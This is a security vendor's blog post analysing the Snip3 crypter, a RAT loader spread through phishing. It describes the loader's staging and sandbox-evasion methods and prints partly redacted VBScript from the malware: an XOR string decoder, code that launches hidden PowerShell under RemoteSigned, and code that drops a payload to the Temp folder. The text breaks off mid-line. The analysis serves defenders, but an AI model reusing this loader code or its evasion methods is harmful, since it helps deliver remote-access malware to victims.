# Revealing the Snip3 Crypter, a Highly Evasive RAT Loader **blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader** Posted by [Nadav Lorber on May 7, 2021](https://blog.morphisec.com/author/nadav-lorber) Find me on: [Twitter](https://twitter.com/LNadav) [Tweet](https://twitter.com/share) Morphisec has recently monitored a highly sophisticated Crypter-as-a-Service that delivers numerous RAT families onto target machines. The Crypter is most commonly delivered through phishing emails, which lead to the download of a visual basic file. In some cases, however, the attack chain starts with a large install file, such as an Adobe installer, which bundles the next stage. ----- This Crypter implements several advanced techniques to bypass detection, such as: Executing PowerShell code with the ‘remotesigned’ parameter Validating the existence of Windows Sandbox and VMWare virtualization Using Pastebin and top4top for staging Compiling RunPE loaders on the endpoint in runtime We have named the Snip3 Crypter based on the common denominator username taken from the PDB indicator we found in an earlier variant. ## snip3 crypter Technical Introduction Figure 1 - The summarized execution flow We classified this Crypter activity based on the following execution flow shown in Figure 1. This Crypter activity was first observed in the wild on February 4, 2021, and still ongoing. The related variant’s first submissions on VirusTotal demonstrate its evasive nature, as few security solutions were able to detect it. ### The First Stage: VB Script The first stage of the attack chain is a VB Script that’s designed to load and then move the execution to the second-stage PowerShell script. We’ve identified four versions containing 11 sub-versions in this initial loader stage, with the main difference between the four being the second-stage PowerShell loading mechanism. The main difference between the 11 sub-versions is the type of obfuscation that each uses. An interesting and unique technique here is that the script executes the PowerShell script with a -RemoteSigned parameter along with the script as a command. **Version 1 (Seen February 4, 2021 - February 24, 2021)** This version initially decodes a PowerShell script that is executed in order to download, save, and execute the second stage PowerShell script. ----- On Error Resume Next Dim WSC, QwErUnBcZsAyOpLmHg QwErUnBcZsAyOpLmHg = "POWERSHELL -EXECUTIONPOLICY REMOTESIGNED -COMMAND " WSC = cHr (119) 'Deducted, decodes to wSCrIpT.sHELl Set InBvCzAsKlOpIgHbCzAquJHyt = CreateObject(WSC) Dim PlMbCdQwwTyHbZaHNbVfTH PlMbCdQwwTyHbZaHNbVfTH = cHr (73) 'Deducted, decodes to PowerShell script in decimal WScript.Sleep 1000 InBvCzAsKlOpIgHbCzAquJHyt.RUn QwErUnBcZsAyOpLmHg & PlMbCdQwwTyHbZaHNbVfTH, 0 Code Block 1 The second stage PowerShell is downloaded from top4top.io, an Egpytian file hosting service. Once the second stage is downloaded, the script executes it and saves it under ..\AppData\Local\Temp\SystemSecurity32.PS1. Figure 2 - Decoded stage 1 PowerShell Note that this PowerShell executes with the RemoteSigned parameter although the second stage executes with the Bypass parameter. This greatly decreases the efficiency of the technique; further, the bypass is no longer used starting from version 2. Additionally, we have observed a couple of different sub-versions for this script. These sub-versions differ in their obfuscation technique (the following example is one of them). **Version 2 (Seen 01 March 2021 - 29 March 2021)** This version contains the second stage PowerShell embedded as a string within the VBS. The following string is decoded by an XOR function with an embedded key. This embedded key differs between each script. Private Function vQ(Inp, Key, Mode) Dim z, i, Position, cptZahl, orgZahl, keyZahl, cptString For i = 1 To lEn(Inp) Position = Position + 1 If Position > lEn(Key) Then Position = 1 keyZahl = aSc(Mid(Key, Position, 1)) If Mode Then orgZahl = aSc(Mid(Inp, i, 1)) cptZahl = orgZahl Xor keyZahl cptString = hEx(cptZahl) If lEn(cptString) < 2 Then cptString = "0" & cptString z = z & cptString Else If i > lEn(Inp) \ 2 Then Exit For cptZahl = CByte("&" & "H" & Mid(Inp, i * 2 - 1, 2)) orgZahl = cptZahl Xor keyZahl z = z & cHR(orgZahl) End If Next vQ = z End Function 'Deducted code MyFile.WriteLine(REPLACE(vQ(AqUhNbgAqwpMb, "[deducted key]", False), "%VBS%", wscript.SCRIPTFULLNAME)) Code Block 2 ----- Once the string is decoded, the script replaces the place holder %VBS% within the decoded PowerShell with the script path and saves it to the ..\AppData\Local\Temp folder before the execution. Note that since the mentioned place-holder populates a path containing the username in the PowerShell script, the PowerShell hash differs from victim to victim. Dim SH SH = cHR(80 + 7) & cHR(100 + 15) & cHR(66 + 1) & cHR(80 + 2) & cHR(110 - 5) & cHR(85 - 5) & cHR(80 + 4) & cHR(40 + 6) & cHR(230 / 2) & cHR(36 * 2) & cHR(60 + 9) & cHR(100 + 8) & cHR(70 + 6) Set WS = CreateObject(SH) Set FSO = CreateObject("Scripting.FileSystemObject") Set MyFile = FSO.CreateTextFile(FSO.GetSpecialFolder(2) + "\OS64Bits.PS1", True) MyFile.WriteLine(rEPlAcE(vQ(AqUhNbgAqwpMb, "mp1Z